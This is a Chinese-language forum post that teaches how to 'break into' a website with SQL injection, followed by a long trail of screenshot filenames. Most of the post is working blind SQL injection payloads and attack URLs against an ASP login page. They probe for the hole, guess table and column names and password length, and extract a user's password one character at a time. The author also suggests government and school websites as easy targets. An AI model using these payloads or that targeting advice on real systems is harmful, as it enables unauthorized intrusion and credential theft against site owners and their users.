如何使用sql注入攻破一个网站?
 
Notifications
Clear all

如何使用sql注入攻破一个网站?

1 Posts
1 Users
0 Likes
3,960 Views
(@taichi)
Member
Joined: 4 years ago
Posts: 408
Topic starter  
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
黑客新手常用的sql注入就是使用一些注入工具,比如:啊D,明小子一些的简单sql注入工具。现在的网站能够用sql注入的漏洞已经很少了,一般政府和学校的网站漏洞比较多,可以作为肉鸡试一试。
下面讲一下早些年的sql简单方法:
首先我们在一个具备sql注入漏洞的网站开始实战测试(实验网站已经通知修复)
前提准备:

肉鸡网站: http://172.18.3.13:81/login.asp?name

用户名:admin 密码:admin

所需sql注入语句:

1.判断有无注入点
; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

开始sql入侵:

SQL注入漏洞测试:

在正常用户名admin后增加一个单引号,单击"登录"
或在URL地址栏直接输入 http://172.18.3.13:81/login.asp?name=admi n'&pass=admin
若出错,证明没有对'进行过滤,存在SQL注入漏洞

在正常用户名admin后增加一个单引号,单击"登录"

出错

在URL地址栏直接输入 http://172.18.3.13:81/login.asp?name=admi n'&pass=admin

登录出错

登录出错,证明存在SQL注入漏洞。

3.SQL注入攻击

构造可以正常运行的目标地址

输入 http://172.18.3.13:81/login.asp?name=admin  &pass=admin' and '1=1
原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
登录失败

输入 http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and 1=1 and 'a'='a
原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
登录成功

可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

4. 猜解数据库表名

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (select count(*) from data)>0 and 'a'='a

成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名
5. 猜解数据库字段名

http://172.18.3.13:81/login.asp?pass=admin&name=admi n'and (select count(uname) from data)>0 and 'a'='a
若用户名字段确为uname,则提示登录成功
同理可猜出密码字段为upass

猜测用户名字段为name,登录出错

猜测用户名字段为uname,登录成功

猜测密码字段为upass,登录成功

说明数据库中密码字段为upass

6.猜解密码长度

已知有一用户名为"wucm",首先猜其密码长度大于1
http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a 
出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

成功,说明"wucm"的密码长度为6位

7.猜解密码

根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

首先测试第一位是否为数字

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

出错,说明密码第一位不是数字, 测试是否位字母

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"

http://172.18.3.13:81/login.asp?pass=admin&name=admi n' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a 
成功,说明密码第一位位"w"

同理对6位密码逐位进行猜测,最后得到密码为"wcm987"

至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:

76d6e7db6a9c2f78bfd762160b08ac95.jpg (51.41 KB, 下载次数: 47)

 

76d6e7db6a9c2f78bfd762160b08ac95.jpg

4773735f9deb76f05b8999dcdd2af7e4.jpg (37.54 KB, 下载次数: 51)

 

4773735f9deb76f05b8999dcdd2af7e4.jpg

9921e5e152ecb621830597471226f19d.jpg (38.36 KB, 下载次数: 42)

 

9921e5e152ecb621830597471226f19d.jpg

69e203f20ab425e66aa8d501e3edbef3.jpg (39.5 KB, 下载次数: 49)

 

69e203f20ab425e66aa8d501e3edbef3.jpg

a6007998e3a60c80bf3d7499156857e9.jpg (39.01 KB, 下载次数: 41)

 

a6007998e3a60c80bf3d7499156857e9.jpg

143bb4eb673d0d767d265efd92b049eb.jpg (34.44 KB, 下载次数: 45)

 

143bb4eb673d0d767d265efd92b049eb.jpg

b5ff46b394133fa4d7b5322438377127.jpg (38.3 KB, 下载次数: 51)

 

b5ff46b394133fa4d7b5322438377127.jpg

ae98c9803c46517ba51421ad7900e09c.jpg (38.74 KB, 下载次数: 50)

 

ae98c9803c46517ba51421ad7900e09c.jpg

bea2ba4313d9a576e6dcb2cce78b7bc6.jpg (39.15 KB, 下载次数: 52)

 

bea2ba4313d9a576e6dcb2cce78b7bc6.jpg

3b533ec3567661ba592f722285c0d763.jpg (48.1 KB, 下载次数: 50)

 

3b533ec3567661ba592f722285c0d763.jpg

fbabbd6557aa15eeb601785ae7aefa36.jpg (49.04 KB, 下载次数: 44)

 

fbabbd6557aa15eeb601785ae7aefa36.jpg

37b626b0dea506048c66c4a21a3ddfb3.jpg (37.93 KB, 下载次数: 51)

 

37b626b0dea506048c66c4a21a3ddfb3.jpg

d614cc244097cc47c3f56e80e1ddcf93.jpg (48.85 KB, 下载次数: 48)

 

d614cc244097cc47c3f56e80e1ddcf93.jpg

c36332f3cb18b62e8516dc615c2b2881.jpg (66.89 KB, 下载次数: 43)

 

c36332f3cb18b62e8516dc615c2b2881.jpg

0094af6e6565a6fc5934497d37586af9.jpg (28.21 KB, 下载次数: 40)

 

0094af6e6565a6fc5934497d37586af9.jpg

53748e07feb9f9bd392317ebc03d837c.jpg (22.49 KB, 下载次数: 51)

 

53748e07feb9f9bd392317ebc03d837c.jpg

3a682c6b6f4ed4f7325698d2125cca15.jpg (22.77 KB, 下载次数: 43)

 

3a682c6b6f4ed4f7325698d2125cca15.jpg

5089d155d594e90f82b6fe5e103f8b4c.jpg (29.08 KB, 下载次数: 49)

 

5089d155d594e90f82b6fe5e103f8b4c.jpg

b8f813730cf91f7e670623c87bb5d165.jpg (29.03 KB, 下载次数: 50)

 

b8f813730cf91f7e670623c87bb5d165.jpg

20bb66400f083a9a349442c8d24ca841.gif (42.11 KB, 下载次数: 41)


   
Quote
Share: